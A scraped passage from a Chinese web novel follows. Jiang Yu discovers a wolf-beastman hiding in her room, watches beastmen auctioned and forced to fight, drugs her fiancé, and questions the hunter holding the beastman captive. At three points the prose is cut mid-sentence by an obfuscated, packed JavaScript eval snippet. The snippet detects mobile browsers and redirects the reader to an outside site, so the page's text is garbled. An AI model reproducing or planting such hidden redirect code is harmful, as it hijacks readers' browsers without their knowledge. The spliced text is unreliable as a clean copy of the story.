她其实很想问路霞会后悔吗,但看到她脸上的表情,又觉得这个问题是多余的,于是她问:“你开心吗?” 路霞没有任何犹豫:“开心,我马上就要见到女儿了。” …… 庄园惨案过后,姜榆因为直击现场,被医生判定有创伤后应激障碍,姜山取消了她的一切活动,留她在家里休息,连易天川的邀约都拒绝了。 姜榆乐得自在,每日只在吃饭的时候装下难受,其他时间就缩在自己房间里。 她有一个与众不同的爱好——做标本,那日在玫瑰园里死去的蝴蝶被她捡回来了,她整日待在房间里,偷偷把它做成了标本。 蝴蝶被钉在玻璃中,双翅展开,在光线的照射下,翅膀上的蓝色闪烁,就像这蝴蝶还活着振翅一般。 人总说蝴蝶命短,可是被做成标本后,它又何尝不是一种永生? 姜榆欣赏了会标本,把它藏起来,上了床。 夜色已深,该睡了,可她闭上眼却怎么也睡不着。 从庄园回来后,她就觉得不对劲,她的房间里除了她以外,好像…… 还有一个人。 12. 异样 姜榆第一次有异样的感觉是在回姜家后的第十天,那天她像往常一样在十点准时入睡,半夜时却无端惊醒,朦胧的月光从窗户照进来,房间里一切正常,静谧又安详。 她以为是自己白天喝了几杯咖啡导致的心慌,便再次躺下睡了。 从那天起,她察觉异样的次数越来越多,越来越频繁。 开始是一些东西莫名其妙变少或丢失,有时是一条用过的丝巾,有时是刚开封的香水,大都是些不起眼的小东西,但姜榆熟悉自己身边的一切,这些小变化还是被她敏锐地发现了。 后来她开始觉得有人躲在暗处窥视自己,明明是除她以外空无一人的房间,却总觉得有看不见的眼睛,而这种感觉到晚上尤其明显。 在她睡着时,有人站在她的床边,用赤裸炽热的眼神扫过她的全身,并长久地盯着她,直到她醒来,这个人什么都不做,却比对她做了什么还让人难受。 姜榆在一次吃饭时,假意和姜山哭诉,说自己出现了幻觉,总是梦到孙咏德,彼时她的弟弟姜启瑞也在饭桌上,闻言朝她翻了个白眼:“装。” 他刚二十岁,虽然已经回到姜家十多年,却一直记着八岁前的苦日子,并把这一切归于姜榆,要不是姜榆,他一出生就会被带回家。 姜启瑞讨厌姜榆,说话做事从不遮掩,过分时姜山会进行管教,像这种普通的嘲讽他就不会在意。 姜榆没把他放心上,继续做戏:“我有点害怕,万一有人想替孙咏德报仇……最近可以加强周围的安保吗?” “好,”姜山叹了口气,“小鱼,你要尽快好起来。” “嘁,你真的怕吗?你不是才去监狱看了那杀人犯?”姜启瑞插嘴。 去探望路霞是以出门散心为由,偷偷去的,他又是从哪知道的? 听到这话,姜山变了脸色。 姜榆微微一顿,立刻接道:“我去散心了,只是路上又想起来那天的事……我真的好害怕,所以才去找路霞,问她为什么、为什么不把我也杀了,要是我也死了就不会像现在一样,整日担惊受怕……” 她说不下去,抹掉眼泪,站起身:“对不起,我吃好了,先回房间了。” 姜山脸色缓和下来,看着她的背影又叹了口气,随后一巴掌拍上姜启瑞的脑袋:“下次不许这样!” 姜启瑞冷哼一声表示知道了,背地里却偷偷骂道:“装货。” 当天姜家果真加强了安保,姜榆从窗户往外看,至少有5个保镖守在她的房间外,别墅正门处也额外安排了日夜巡逻的人。 在这样的重重包围下,任何人想溜进来,都会闹出不小的动静。 可她异样的感觉并没有消失,甚至越来越加剧。 最严重的一次是某天睡前,她坐在地毯上,靠着床看书时,安静的室内传来明显不属于她的呼吸声,姜榆翻书的手僵住。 那呼吸声越来越近,越来越近,最后停在她的身后,温热的气息扑在脖颈上,好像有人紧贴着她,在和她一起看手里的书,姜榆头皮发麻,全身泛起一阵又一阵的鸡皮疙瘩。 她猛地回头,身后空无一人,但她知道那不是错觉。 庄园一事过去后,姜榆就再没见过临野,如果是他,完全没必要躲藏,毕竟姜榆承诺过不会再跑。 可这样厉害的身手,除了临野,她也没有别的人可猜了。 所以他到底想干什么? 姜榆试过架一台摄像机来验证自己的猜测,但它总会莫名其妙倒下,不仅什么都没录到,还摔坏了好几台机器,导致姜山都来问她用摄像机在做什么。 庄园惨案过去二十多天,姜山第一次带她出门,说去参加一场特殊的拍卖会,希望她在那里好好放松。 目的地是个平平无奇的房子,既没有庄园的瑰丽,也没有普通别墅的豪华,这看起来似乎是个再普通不过的活动,特殊在哪? 走进大门,姜榆才发现里面别有洞天。 这房子一楼的层高有十米,正中间是个巨大的圆台,一圈圈座位呈阶梯状围在圆台外层,座位上的灯光很暗,聚光灯全部集中在圆台上,好像在等待什么万众瞩目的人出现。 这让姜榆想到了古罗马的斗兽场,观众就是这样坐在高台上看中间的角斗士战斗,看到血和死亡时,人群爆发出剧烈的欢呼声。 这个拍卖现在看起来有些奇怪了。 姜榆跟着姜山交际一番后,在第三排落座,她的前面没有人,可以清楚地看见圆台上的情况。 十分钟后,一位身穿西装的男人站上圆台,他身前没有主持台,手里也没有拍卖锤,比起拍卖官反而更像个电视节目主持人。 他面带微笑,大声宣布拍卖会正式开始。 “为保护猎人隐私,接下来所有拍品的所属人均为匿名,但请诸位放心,双方的信息我们都会做保密处理。” 姜榆不解,猎人? 主持人热情洋溢地介绍起第一件拍品:“他是一个月前捕捉到的兔兽人,来自于一号猎人。兔兽人温顺敏感,但胆小怕人,适合日常观赏。我们先一起来看看他的样子。” 姜榆彻底懵了,这个主持人说的每个字她都听得懂,怎么连起来就听不懂了。 阶梯座位的最下层是一扇扇门,在主持人说完这段话后,其中一扇门打开,三个人推着一个巨大的笼子上了圆台。 笼子大概有2米高,中间坐着一个男孩,姜榆只看了一眼就瞪大眼睛。 那个男孩和其他人区别不大,只是更漂亮些,但他的头上有一双让人难以忽略的……兔子耳朵,仔细去看的话,还能看到他身后有个小巧的白色尾巴。 姜榆呆住,她的世界观遭受到了冲击,比临野亲口承认自己是非人类时还要猛烈。 她不是生活在科学世界吗,怎么会有这样的……姜榆摇摇头,一定是这男孩戴了仿真兔耳和兔尾,一定是。 可接下来姜山的话就将她的世界观彻底击碎。 “怎么样,新奇吗?”他问。 姜榆缓缓转过头,看向他:“你是说他戴的兔耳朵……吗?” “哈哈哈,”姜山被她逗笑,“小鱼,这些可都是真的。” 姜榆:“啊?” 场上的人不多,他们大都对此见怪不怪,一看就是常客,只有姜榆一副缓不过神的样子,姜山便给她科普起来。 除了人类和普通动植物之外,这个世界上还存在着一种类人生物,他们有着人类的外表,但同时还有一些属于动物的特征,人类称呼他们为兽人,根据不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812961|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同的动物特征在前面加上动物名,比如这个男孩有兔子耳朵和尾巴,就叫他兔兽人。 这些兽人特征各不相同,有的美丽温顺,有的凶猛残忍,他们像人又不是人,怪异、新奇。 他们的来历、生活的地方无人得知,与人类社会也并无往来,但在极少数情况下,会有一些兽人误入人类社会,并迷失在钢筋水泥的城市里。 有的兽人能幸运地回去,有的找不到回去的路,就被迫留在人类社会。 兽人会隐藏自己的动物特征,但在某些时候,他们的兽性会遮掩不住,并因此暴露自己。曾有人发现了一个兽人,把他当作畸形卖出高价。 这种事越来越多,后来,猎人应时而生。 他们做的就是捕捉这些误入人类社会的兽人,再把他们卖出去,美丽温顺的用来观赏,满足人猎奇的心理,凶猛残忍的就用来做见不得光的事。 “捕捉?”姜榆问道。 “猎人们有种手段,可以将兽人和另一个生物的性命关联,这样一来,这些兽人为了活下去,就不敢逃跑或做出伤害主人的事,这就是猎人的捕捉。” 这场拍卖会时间不长,就如姜山所说,留在人类社会的兽人极少,能被抓到的就更少,哪怕距离上次拍卖会已经过去一年,这次也只有3个兽人参与竞拍,最后他们都以天价被带走。 最后两个兽人分别是狮和虎,拍卖结束后,竞拍人当场让他们在圆台上进行了场角斗,他们打得很激烈,血溅到姜榆身前的座位上,恍惚间,她以为自己真的穿越到了罗马的斗兽场。 直到回了家,她还没完全接受这件事,姜山倒是看起来心情不错的样子,他摸摸姜榆的脑袋,温和地说:“去休息吧,下周易少邀请你去游艇玩,我已经答应了,你做好准备。” 难怪要带她出来“放松”,原来是已经做好别的打算,想让她尽快恢复好。 姜榆轻轻点头,回了房间,一关上门她就径直走向窗台旁,从盆栽里取出手机。 这是她的最后一次尝试,出门前她把手机用透明袋子装好,藏进土里,只留下了摄像头在土外,枝叶再一遮挡,几乎完全看不出来。 她不确定做这些时有没有人在偷偷看着,如果这次还是没能成功,她就暂时放弃了,毕竟马上就要有更重要的事等她处理。 手机已经因为没电而关机,她充了会电才打开,找到相册,点开最新的视频,有3小时的记录,她开了倍速翻看。 前面两个多小时什么内容都没有,姜榆垮了身子,以为这次也失败了。 然而在最后十分钟里,镜头前突然出现一个身影,他像个鬼魂一般悄无声息进来,直直地走到床边躺下,一动不动似乎睡着了。 姜榆看着他躺了八分钟,然后视频里出现了声音,是她和姜山在门前的对话。 所以手机是她进入房间后才没电关机的。 姜榆继续往后看,在他们对话期间,床上的人也没有动静,房门打开,她看到了自己的衣角,视频到此结束。 而床上的身影在门把手往下按动时终于有了动作,他翻身而起,迅速躲进了衣帽间。 姜榆慢慢转过身,看向背后门关得严严实实的衣帽间。 ……他现在,就在里面? 13. 同床异梦 如果在不知情的情况下,房间里藏进一个男人,一般人的第一反应是跑并报警,但姜榆没有,她蹑手蹑脚靠近衣帽间。 虽然视频里有些区域被叶子挡住了,但剩下的足以让她看清,进她房间的就是临野。 刚才她看视频的声音很小,他应该还不知道自己被发现了吧。 比起恐惧和害怕,姜榆现在更多的是期待,甚至还有一种隐隐的紧张和兴奋感,之前都是临野神出鬼没地戏耍她,现在终于轮到她来当抓老鼠的猫了。 今天她见过了兔子、狮子、老虎的兽人,临野会是什么呢? 衣帽间的门没有锁头,是最普通的两扇推拉门,姜榆怕惊动里面的人,用最小的力度推开一侧门,没有发出任何声音。 她光脚踩在地毯上,走过一排衣柜,进入最深处的换衣间,前方有个人正背对着她埋头在做什么。 衣着和视频里看到的一致,是临野,但有所不同的是,他的身后有一条毛茸茸的白色尾巴正晃来晃去,头上也有两只白色耳朵竖着。 姜榆本来只是让临野也体会一下被人抓住的感觉的,没想到会看到他的动物外表。 一瞬间,她脑袋里闪过许多个念头。 他是什么? 狐狸?不,他的耳朵和尾巴更圆钝,不够尖锐。 猫?也不是,他的尾巴看起来不够柔软。 这个颜色和形状,难道是……狗? 惊讶之下,她手一松,手机掉在地上,发出轻微的动静,临野的耳朵和尾巴倏地消失。 他转过身,目露凶光,怀里还抱着姜榆的衣服,而且是她出门前刚换下还没来得及送去清洗的那件。 四目相对,临野的耳朵红红的,身体微颤,凶狠的眼神里还有些不知所措,姜榆突然尴尬起来,明明是他偷溜进来,怎么这幅表情,搞得好像是她在偷窥一样。 如果是人抱着她的衣服猛吸,姜榆会骂他变态,但如果把这个行为代入狗狗,似乎又有些合理了。 以前她几天不在家时,小白就喜欢从洗衣房翻出她的衣服,整日睡在上面,因为衣服上有她的味道。 小白是因为喜欢她才这样,临野是因为什么?他那副凶样不像是会喜欢她的人。 她盯着临野的脸想得专注,没注意到他已经濒临爆发。 “看够了吗?”临野攥紧衣服,声音低低的。 姜榆回过神来,眨巴眨巴眼睛,难得见到他羞愧又尴尬的样子,指责的话都说不出口了。 场面诡异起来,作为被侵害隐私的人,她反倒给侵害者找起理由:“你来找我是想好要我兑现什么了吗?” 既不提他的耳朵尾巴,也没说衣服的事,还解释了为什么进入她的房间,姜榆都觉得自己太贴心了。 临野没有立刻回答,还是那副表情注视着她,良久,他丢开衣服,嗯了一声。 晚上十点,到了姜榆睡觉的时间,她和临野并排躺在床上。 从临野提出这个要求,她答应下来后,两人就再没说过话,就这么沉默着洗漱完,关灯上床。 姜榆飞快地撇了旁边一眼,黑暗中看不清他有没有闭眼,只能看见他和自己一样板板正正地躺着。 这个人好像格外喜欢和她一起睡觉,盖着被子纯睡觉的那种,在她家里是,在庄园是,现在也是。 虽然不确定临野究竟是什么想法,但她可以肯定,他喜欢自己的味道。 是狗的话,好像也能理解。 她清清嗓子:“我睡了,晚安。” “嗯。” 姜榆闭上眼,脑子里却全都是刚才在衣帽间的惊鸿一瞥。 现在她完全彻底地接受了世界上有兽人存在的事了。 除了惊讶外,姜榆对临野的身份没什么别的想法,她不缺钱,也不猎奇,更何况兽人似乎已经活得很艰难了。 她甚至开始脑补起临野在社会上举步维艰、东躲西藏的日子。 人是个奇怪的生物,一旦知道对方曾经过得很惨,就会生出同情心,之后再看他凶狠的样子时恐惧会大大降低,就像她总是装乖示弱一样,都是自己的生存法则。 姜榆脑补完后,对临野没了害怕,反而有种奇怪的怜惜,是那种“同是天涯沦落人”的怜惜。 说不定他们还可以做朋友。 自从小白没了,她很久都没有接触过活的小动物了,要是他们熟络起来,她还能摸到他的耳朵和尾巴。 温热的、软软的、像棉花糖,一定很好摸。 姜榆越想越兴奋,恨不得现在就让他把尾巴露出来摸摸。 在她身旁的临野耳朵微动,听到了她如擂鼓的心跳声。 他不知道姜榆的兴奋,心里只飘过一个念头:她果然还是害怕。 离开庄园后,他独自冷静了几天,心里却控制不住地回想起那轻轻的一吻。 这个女人愚蠢又怕事、善良过头,还欺骗他,是他最讨厌的类型,但他为什么还在回忆? 也许是一开始他们的相处就出了错,他不该留在她家,不该在她哀求时答应她的请求,也不该在她触碰自己时鬼迷心窍。 是他的容忍和默许让她以为能在他手下逃过一劫,还越来越放肆。 他早就应该远离她。 临野溜进她的房间,看着她熟睡的面庞,闻到熟悉的味道时,心里平静下来,所有的狂躁消失殆尽,某种不知名的欲望得到了满足。 他再次确定,自己对她的味道、对她的触碰上了瘾。 今晚一见面他就在姜榆身上闻到了别的味道,她的衣服上有滴血,那是来自其他兽人的,她知道了兽人的秘密。 不仅如此,她也发现了他的秘密,她看到了他的耳朵和尾巴,知道了他是怪物,这个胆小的女人一定会被吓到转身就跑吧? 如果她跑掉,他就放弃这怪异的瘾,追上去,亲手杀了她。 他的秘密不能被任何人知道。 可是时间一分一秒过去,她就那样一直盯着他,眼神坦荡,没有一丝恐惧。 临野第一次感觉到目光是有形的,她的视线一寸寸扫过头顶和身后,最后定在他脸上,似乎要看穿他的伪装。 尽管已经藏起了耳朵和尾巴,他却还是感觉到了……羞耻。 这种从未有过的羞耻让他无法呼吸,身体甚至有些颤栗,最后他忍不住出声,打破了这难堪的场景。 那时她的表情毫无破绽,临野都要以为她不怕怪物了,但现在从旁边传来的剧烈心跳声告诉他,她和其他人没什么两样。 与其等着她找来猎人,不如现在就杀了她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812962|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>临野抬起手,身旁的人翻了个身面对着他,月光照在她脸上,显得纯白又圣洁。 他顿了顿,最后抓住被子盖在脸上,让这味道完全把自己包围。 接下来的几天,姜榆的生活恢复了正常,房间里不再丢失东西,没有人再在暗处窥视她,虽然这是好事,但她反倒有些不习惯。 姜榆看向窗外,又是一轮满月,不知不觉间距离她捡到临野已经过去一个月,这一个月让她对这个世界的认知有了翻天覆地的变化,她以后再也不随便否定那些怪力乱神之说了。 很快到了易天川邀请她出游的日子,刚刚入夏,海边还不算热,姜榆一登上游艇,就有人迎上来。 “好久不见啊嫂子。” “我上次没去易少生日宴,在这祝你和易少百年好合,早生贵子!” “早生贵子~早生贵子~” 起哄的人特意强调了这四个字,其他人联想到什么,嬉笑起来,姜榆没有笑,面无表情地盯着他。 笑声慢慢沉寂下去,男人意识到她生气了,但在他看来,只是开个玩笑罢了,哪至于要道歉。 以前姜榆会忍过去,但现在她忍累了。这些天里她偶尔会想为什么自己不能像路霞一样,和姜家鱼死网破,或许彻底解脱之后,她会和路霞一样快乐。 双方僵持不下,一片沉默中,易天川的声音出现:“都围在这干什么呢?” 他是这场游艇派对的组织者,是绝对的主角,众人纷纷给他让开一条道。 易天川这才看到姜榆,他眼睛一亮,快步走过来:“小鱼儿,好久不见,想我了吗?” 说完在她脸上亲了一口,姜榆不说话,固执地盯着那个开黄腔的男人。 易天川顺着她的视线看向那人:“怎么回事?” 他的声音里带着不悦,刚才还很有骨气的男人迅速低头,他讪笑道:“和嫂子开了个玩笑,是我的错,不好意思啊。” “我自罚一杯,嫂子别生气。”他灌了一杯酒,因为速度太快被呛得直咳嗽。 “行了行了,”易天川挥挥手,替她原谅男人,“下不为例。” 男人连连点头。 说到底,易天川只是需要一个家境不错,地位不是太高的女人做妻子,在这个基础上,如果还漂亮懂事就更好,姜榆完全符合需求,所以才会被他选上,他们之间连朋友那种情谊都不存在的。 所以他完全不在乎那个男人对姜榆做了什么,只要肯道歉,给足面子,这事就算过去了。 “外面太阳晒,先进去,”易天川搂着她的腰,一边往船舱走,一边说,“生气就不好看了,笑一笑,今晚有好东西看,别让一点小事破坏心情。” 哄一下是情趣,哄多了会变成不耐烦,姜榆故作别扭地回答:“好吧,我原谅他了。” “这才对嘛。”易天川奖赏似的又亲了她脸颊一下。 姜榆咬牙,被恶心的。 “热,”她挣开腰上的手,远离了他,在他不高兴前赶紧问道:“今晚要给我看什么?” 说起这个,易天川脸上带了些得意:“晚上你就知道了,保证是你从没见过的新鲜玩意。” 姜榆期待地看着他,实际并不怎么感兴趣。 她想再新鲜也不会比在拍卖会上看到的新鲜了。 14. 被捕 晚上十点,姜榆来到宴会厅,除了她之外,还有数十个年轻男女,都是易天川邀请来玩的“狐朋狗友”。 见人到齐了,一个游艇管家模样的男人站上舞台:“各位少爷小姐晚上好,马上就是我们今天最后一个项目——易少为大家准备的惊喜了,大家期不期待?” 下面一阵欢呼:“期待!期待!” “话不多说,惊喜马上就来!”管家手掌伸向舞台一侧,众人顺着望去。 然而等了许久,舞台后方没有任何动静,有人发出质疑:“怎么了?惊喜呢?” “这是干什么呢?” “让我们看空气吗?” 当众丢了面子,易天川的脸黑下来。 管家尴尬地救场:“各位少安毋躁,我去看看。” 这时有一人从舞台后匆匆跑到易天川身边附耳说了什么。 姜榆和他离得近,听到了些“不配合、没成功”的话。 易天川勃然大怒:“我管他出了什么问题,今天要是不出来,他就别想干下去了!” 那人抹抹头上的虚汗,连连称是。 他这一发火,宴会厅安静下来,无人敢说话。 片刻后,管家再度登台,脸上洋溢着小笑容:“各位久等了,惊喜马上出现!” 话音刚落,有两人推着一个用黑布罩着的巨大物体出现,行至宴会厅中央,那两人退下。 底下的人看着黑布窃窃私语。 “这是什么?” “还盖着,这么神秘?” “快给我们看看!” 易天川满意地勾起唇,放下酒杯起身:“我来。” 他挥退正准备过来的管家。 “看好了!”易天川抓住黑布一角,大力掀开。 一个精美的笼子露出来。 周围一片哗然,有人夸张地惊叫出声。 “天呐,那是什么?” “他是怪物吗?” “假的吧,肯定是戴的假的!” 本来无所事事的姜榆也看过去,这一看惊得她张大嘴巴。 笼子里的身影正是几天不见的临野。 他闭眼侧躺着,耳朵露在头顶,尾巴耷拉在地上,脸色苍白如纸,看起来毫无声息的样子,要不是胸口还有微微起伏,姜榆都怀疑他已经死了。 他……怎么沦落到这个地步了? 易天川瞥了眼笼子里的人,见到他身上的耳朵和尾巴,更加得意:“当然是真的,我易少怎么可能展示个假货。” 又是一阵哗然,有人问:“可以摸吗?” 笼子后面立马窜出来一个年轻男人,他疯狂摆手:“危险!不能摸!” 接着他又转头朝易天川解释道:“易少,真不能摸,会出事的。” “行了行了,”易天川瞪他一眼,“听他的,都别摸。” 这个惊喜够惊、够喜,所有人在笼子旁围观,对着晕倒的临野啧啧称奇。 姜榆没有凑过去看,她坐在原来的位置上,周围空荡荡的,让她格外显眼。 易天川大跨步走过来,他被那群人一通吹捧,这会脸色红润,已经飘得忘乎所以。 “小鱼儿,怎么不过去看?”他揽上姜榆的肩膀。 姜榆笑得勉强:“突然有些不舒服。” “怎么了?” “有点胃疼,没事,我回房休息会就好。” 易天川也不强留她:“行,去休息吧,等会我来找你。” 说完,他轻轻捏了把姜榆的腰,暗示意味十足。 “好。”姜榆故作羞涩地推开他,独自离开。 她在房间里纠结了很久。 姜榆扪心自问,她不算坏但也不是什么完全善良的好人,自顾不暇的时候,她绝不可能再给自己找事做。但是话又说回来,她现在的处境不算特别糟糕,抽空去救个人也不是不行。 所以,她到底要不要去救临野? 在她纠结的时候,易天川回来了。 一进门,他就迫不及待地压住姜榆:“小鱼儿,想死你了。” “等等,”姜榆矮身躲开,拿出准备好的红酒,朝他眨眨眼,“尝一口,我特意带给你的。” “是吗?”易天川以为她在和他玩情趣,邪笑着端起酒杯,“那我可得好好尝尝。” “怎么样?” “好喝。” 姜榆笑得更开心:“那就再喝两口吧。” 易天川一饮而尽。 酒里放了安眠药,是前段时间她说做噩梦时医生开的,姜榆一颗没吃,把药全部留了下来,等的就是今天。 药混合着酒,效果发挥得更快,不等易天川开始动手动脚,他就沉沉睡去。 姜榆把酒杯销毁,在房间静坐了会,起身出门。 她穿过长廊,上到三楼,停在一扇门前,抬手敲了敲。 “来了。”伴随着匆匆的步伐声,门被打开,里面是晚上那个不允许摸临野的年轻男人。 他不认识姜榆,面带疑惑:“你是?” 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她作势要起身,徐九赶紧拦住她:“哎等等,算了算了,姜小姐,实话告诉你,这个兽人,我还没有完全驯服。” “驯服?你都把他抓起来关在笼子里了,还没有驯服?” “没这么简单。” 姜榆突然想到之前姜山告诉她的:“你还没和他绑定性命?” 徐九没想到她知道这么多,惊讶地点点头:“原来姜小姐也是个懂行的。” 姜榆不为所动:“你不是专业的吗?这么简单的事都搞不定?” “巧妇难为无米之炊啊,”徐九叹气,“我也不和你说场面话了,姜小姐,我还缺一样重要的东西,一时半会是真的没办法。” “什么东西?” “一颗牙。”徐九重复道,“一颗来自这个兽人的牙。” 姜榆不耐烦:“你从他嘴巴里拔一颗不就行了。” “不行,”徐九四下望了眼,确定没人后凑近姜榆,神神秘秘地说:“必须得是他亚成年时换掉的那颗犬牙。” 那不就是…… “乳牙?” “没错!” “等下,我去趟洗手间。”姜榆突然起身。 说得正起劲呢,徐九被她的动作弄得有些懵,但还是给她指路:“哦,那间就是。” 姜榆进了洗手间,从衣服口袋里摸出一个东西。 一颗牙齿。 没猜错的话,徐九要找的东西,就在她身上。 15. 计划 姜榆把白色牙齿放在手上仔细观察,这是临野离开后她在床上发现的,看起来像是路霞递给他的东西。 它和人类的牙齿完全不一样,圆锥形,尖端锋利,略向后弯曲,整体大小比猛兽的犬牙要小得多,更像是一颗小犬牙。 她刚看到这颗牙齿时在想:狗会换牙吗? 姜榆搜索完确定狗也有乳牙后,她猜这可能是临野曾经换下的牙齿。 人对乳牙的处理比较随意,至少姜榆就没有保存过自己的乳牙,也许临野的种族很在乎这个,于是她把牙齿收好,准备等下次还给他。 没想到它真的大有用处。 姜榆看着手心里的牙齿,突然冒出一个想法:如果临野注定要被人驯服,那这个人为什么不能是她? 她想起临野帮路霞的时候,顺从、义无反顾,他没什么道德观念,这意味着一旦他忠于谁,他就可以为那个人做任何事。 她觉得这个人可以是她。 端掉整个姜家的雄心壮志还在,只是现在她越来越迫不及待,如果有临野助力,她一定能更快完成这件事。 与其让他被卖给富豪做些见不得光的事,不如在她手下,至少等她离开姜家后,一定会放了他。 姜榆握紧牙齿,看着镜子中的自己,下了决心。 至于这件事能不能成,要怎么做,她还需要打探更多的消息。 姜榆走出洗手间,徐九的视线迎上来,他没有笑,看上去没了刚才的热情。 “我们继续吧。”她坐下。 “有些话我说在前头,姜小姐,”徐九眯了眯眼,“我说的这些可都是只能说给买主听的行业机密。” “所以呢?” “所以你真的有能力买下这个兽人吗?” 原来他刚才查她的家庭背景了,姜家虽然算富贵人家,但确实支付不起天价,不然姜山在拍卖会也不会只看不买了。 姜榆轻笑:“我买不起,不是还有易少吗?” 徐九没说话,沉默地观察着她,见她始终自信丝毫不露怯的样子,才暂且放下心来。 “有您这话我就有底了。”他露出笑容,本来还年轻的脸,这一笑顿时变得油腻起来。 姜榆嫌弃地皱眉:“继续吧。” “其实刚才说的都差不多了,您还想听什么?” “你怎么抓到这兽人的?” “这就说来话长了。”徐九不是很想说,夜已深,他只想去睡觉,而不是伺候这个大小姐,可惜姜榆不给他机会。 “正好今晚睡不着,你讲吧,不要弄虚作假,我要听真事。” “……好吧,”徐九端起茶水喝了口,“和这个兽人的事,要追溯到十几年前了……” 大约十八年前,徐九的师父发现了一处兽人踪迹,前去抓捕时带上了年纪尚小的他,说要给他见见世面。 到了地方之后,他们才发现这兽人不止一只,那是一对母子,小的看起来才两三岁。 一般兽人要到亚成年才能学会隐藏自己,而这个幼崽现在就能藏起自己的兽人特征,可见他们找来时,母子俩已经在人类社会迷失许久了。 徐九的师父能力高强,不多时就成功抓住这对兽人母子,但迟迟没能驯服他们。时间一久,师父失去耐心,转而用上最原始也最有效的办法——用孩子威胁母亲。 结果那兽人发了狂,和师父同归于尽,幼崽也从此不知所踪。 一直到七八年前,徐九再次发现这个幼崽的踪迹时,他已经进入亚成年,实力不容小觑,徐九也很难再抓到他。 不过作为狼兽人,他们一直有个致命的弱点——月圆之夜是他们最弱的时候。 “等等,”姜榆打断他,“狼兽人?” “对啊,晚上在宴会厅大家不是都看到了吗?”徐九问。 姜榆压下心里的惊讶:“没事,你继续。” 徐九奇怪地看了她一眼,毕竟是未来的金主,不好得罪,他接着往后说。 “这个狼兽人伪装成人类,孤儿院还给他找了个女人当养母,他把这个女人骗得团团转,一直帮他躲我们,害得我们抓了好几次都失败,还好那女人几年前死了……” 说到这时,徐九发现对面的人眼神直白地带着谴责,他有些头疼。 这种大小姐最烦了,说她们天真善良吧,实际上一个个都不把普通阶级当人看,这位不是一样在和他进行买卖交易;说她们残忍吧,平时又听不得别人受苦,一点小事就要大呼小叫。 但为了自己的钱,徐九忍辱负重地解释:“可不是我干的,我只抓兽人,不碰普通人,那可是犯法的,是那个女人自己要跳的。” 虽然是他们一直穷追不舍,但那个女人非要用这种极端的方式阻拦,他们也没办法。 姜榆扯扯嘴角:“抓兽人不犯法吗?” “当然不一样!”徐九觉得她的大小姐病犯了,居然开始同情起兽人了,“兽人都是怪物,又不是人,他们在社会上连个户口都没有。要我说,他们就和大山里的野生动物一样,还不是保护动物的那种,这种情况下抓一只有什么问题?” “而且姜小姐,您恐怕不清楚,这些兽人虽然长得像人,但跟人完全不一样,您有同情心,他们没有。他们和动物才是一样的,奉行强者为王,所以其实各个都是阴险凶残的主。就拿我这次抓到的狼兽人来说,速度骇人,尖利的爪子分分钟撕碎一个人的身体,那牙齿一下就能咬破你的喉咙。” 说到这,他突然往前扑,有心吓唬这个半夜不睡觉折磨人的大小姐,结果姜榆一动不动,看他的眼神像在看幼稚的三岁小儿。 徐九自讨没趣,尴尬地坐直,讪笑道:“我这次是恰好赶上时候了,正好碰上他最弱的时候,我又有几个帮手。就这,我们还费了好大一番力气才成功抓到他。” “哦,”姜榆想了想,“既然他这么凶残,买下他之后怎么保证我的安全?” “放心,只要您和他建立契约——就您知道的那个东西,他不仅伤害不到你,还会对你言听计从,服从您所有指令。” 其实契约并没有这么神奇,只是能绑定两人性命而已,大多数兽人顾及性命就会听从主人的话,但也有少数宁愿玉石俱焚也不愿做奴仆的兽人。 徐九对此心知肚明,但做生意的嘛,都有夸大的成分,他可不能失去这个大客户。 “唔……”姜榆摸摸脑袋,“那这个契约怎么建立?” 她一改刚才的神态,崇拜地看着徐九,脸上露出少女的天真和好奇,徐九被她看得飘飘忽忽,本就困顿的大脑越发迷糊,他脱口而出:“把契约者的血滴在兽人的东西上,再加上一句契约语,就成了。” “什么契约语?” “是……”徐九清醒过来,“这个……涉及到机密,不方便再说了。” “好吧,”再问就过了,姜榆恢复冷淡,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828197|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我困了,明天再和你谈具体的事。” 听到聊钱,徐九也不在意她的态度了,笑得殷勤:“好好,您请,明天我等着您。” 姜榆出了房门,左转上电梯,看着跳动发红的楼层数字沉思。 已知和临野建立契约需要三个条件:契约者的血、牙齿、契约语。她已经拥有其中两项,只剩最后那句契约语。 但就算从徐九口中骗出这句话,她也不敢确定会成功,因为这听上去太简单了。 这句话生效肯定还要配合其他什么神秘的咒术,以防万一,还是由徐九来说最好。 电梯到达最下层,姜榆脚步不停,直直走向中间的房间。 房门没有密码,她直接打开门。 整个房间黑乎乎的,房间里没有窗户,月光透不进来,姜榆在墙壁上摸了半天也没摸到开关,只好打开手机手电筒,借着光亮走进去。 